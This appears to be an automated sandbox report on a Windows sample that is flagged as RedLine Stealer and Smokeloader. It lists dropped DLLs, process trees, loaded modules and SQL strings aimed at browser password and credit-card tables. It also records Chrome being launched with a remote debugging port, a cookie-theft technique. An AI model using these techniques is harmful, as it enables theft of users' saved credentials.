Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1F0820	2_2_6C1F0820
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C274840	2_2_6C274840
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2A68E0	2_2_6C2A68E0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1F6900	2_2_6C1F6900
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1D8960	2_2_6C1D8960
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2309A0	2_2_6C2309A0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C25A9A0	2_2_6C25A9A0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2609B0	2_2_6C2609B0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2BC9E0	2_2_6C2BC9E0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1D49F0	2_2_6C1D49F0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C258A30	2_2_6C258A30
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C24EA00	2_2_6C24EA00
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C21CA70	2_2_6C21CA70
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C21EA80	2_2_6C21EA80
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C240BA0	2_2_6C240BA0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2A6BE0	2_2_6C2A6BE0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C204420	2_2_6C204420
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C22A430	2_2_6C22A430
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1B8460	2_2_6C1B8460
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2CA480	2_2_6C2CA480
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1E64D0	2_2_6C1E64D0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C23A4D0	2_2_6C23A4D0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C202560	2_2_6C202560
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C240570	2_2_6C240570
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1F8540	2_2_6C1F8540
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2A4540	2_2_6C2A4540
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C2E8550	2_2_6C2E8550
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1945B0	2_2_6C1945B0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C26A5E0	2_2_6C26A5E0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C22E5F0	2_2_6C22E5F0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1FC650	2_2_6C1FC650
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C23E6E0	2_2_6C23E6E0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1C46D0	2_2_6C1C46D0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1FE6E0	2_2_6C1FE6E0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C220700	2_2_6C220700
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C1CA7D0	2_2_6C1CA7D0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: String function: 6C1C3620 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: String function: 6C32DAE0 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: String function: 00404A60 appears 317 times
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: String function: 6C1C9B10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: String function: 6C1394D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: String function: 6C3209D0 appears 166 times
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: String function: 6C32D930 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: String function: 6C12CBE8 appears 134 times
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: String function: 00410740 appears 52 times
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: String function: 0040F928 appears 36 times
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: String function: 046409A7 appears 52 times
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: String function: 0040FDD7 appears 123 times
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: String function: 0464003E appears 119 times

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7684 -s 2368

Source: IeccNv7PP6.exe	Binary or memory string: OriginalFileName vs IeccNv7PP6.exe
Source: IeccNv7PP6.exe, 00000000.00000003.1864995964.000000000560C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesOdilesio@ vs IeccNv7PP6.exe
Source: IeccNv7PP6.exe, 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs IeccNv7PP6.exe
Source: IeccNv7PP6.exe, 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs IeccNv7PP6.exe
Source: IeccNv7PP6.exe, 00000000.00000003.1811669218.00000000046A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs IeccNv7PP6.exe

Source: IeccNv7PP6.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000002.00000002.2393908794.0000000000730000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.4138092342.0000000002DAD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.2394052195.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: IeccNv7PP6.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/36@3/7

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Code function: 2_2_6C157030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6C157030

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_02DADC6E CreateToolhelp32Snapshot,Module32First,

0_2_02DADC6E

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Code function: 2_2_0041CCD0 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

2_2_0041CCD0

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\track_prt[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7684
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Mutant created: \Sessions\1\BaseNamedObjects\48rt8k8rt4rwe5rb

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

File created: C:\Users\user\AppData\Local\Temp\795F.tmp

Jump to behavior

Source: IeccNv7PP6.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: chrome.exe, 00000005.00000002.2045878282.00006C4002334000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT id,url,visit_time,from_visit,external_referrer_url,transition,segment_id,visit_duration,incremented_omnibox_typed_score,opener_visit,originator_cache_guid,originator_visit_id,originator_from_visit,originator_opener_visit,is_known_to_sync,consider_for_ntp_most_visited FROM visits WHERE visit_time>=? AND visit_time<? ORDER BY visit_time DESC, id DESCALUE:2};TABLE credit_cards (guid VARCHAR PRIMARY KEY, name_on_card VARCHAR, expiration_month INTEGER, expiration_year INTEGER, card_number_encrypted BLOB, date_modified INTEGER NOT NULL DEFAULT 0, origin VARCHAR DEFAULT '''', use_count INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, billing_address_id VARCHAR, nickname VARCHAR)'
Source: 795F.tmp.exe, 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 795F.tmp.exe, 00000002.00000003.2046886138.0000000020D4C000.00000004.00000020.00020000.00000000.sdmp, BFBGHDGCFHIDBGDGIIIE.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 795F.tmp.exe, 00000002.00000002.2414577794.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2409163885.000000001ADD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: IeccNv7PP6.exe

ReversingLabs: Detection: 50%

Source: unknown	Process created: C:\Users\user\Desktop\IeccNv7PP6.exe "C:\Users\user\Desktop\IeccNv7PP6.exe"
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Process created: C:\Users\user\AppData\Local\Temp\795F.tmp.exe "C:\Users\user\AppData\Local\Temp\795F.tmp.exe"
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2396,i,7018353345002748784,17151017752572951290,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7684 -s 2368
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Process created: C:\Users\user\AppData\Local\Temp\795F.tmp.exe "C:\Users\user\AppData\Local\Temp\795F.tmp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2396,i,7018353345002748784,17151017752572951290,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: uxtheme.dll	Jump to behavior
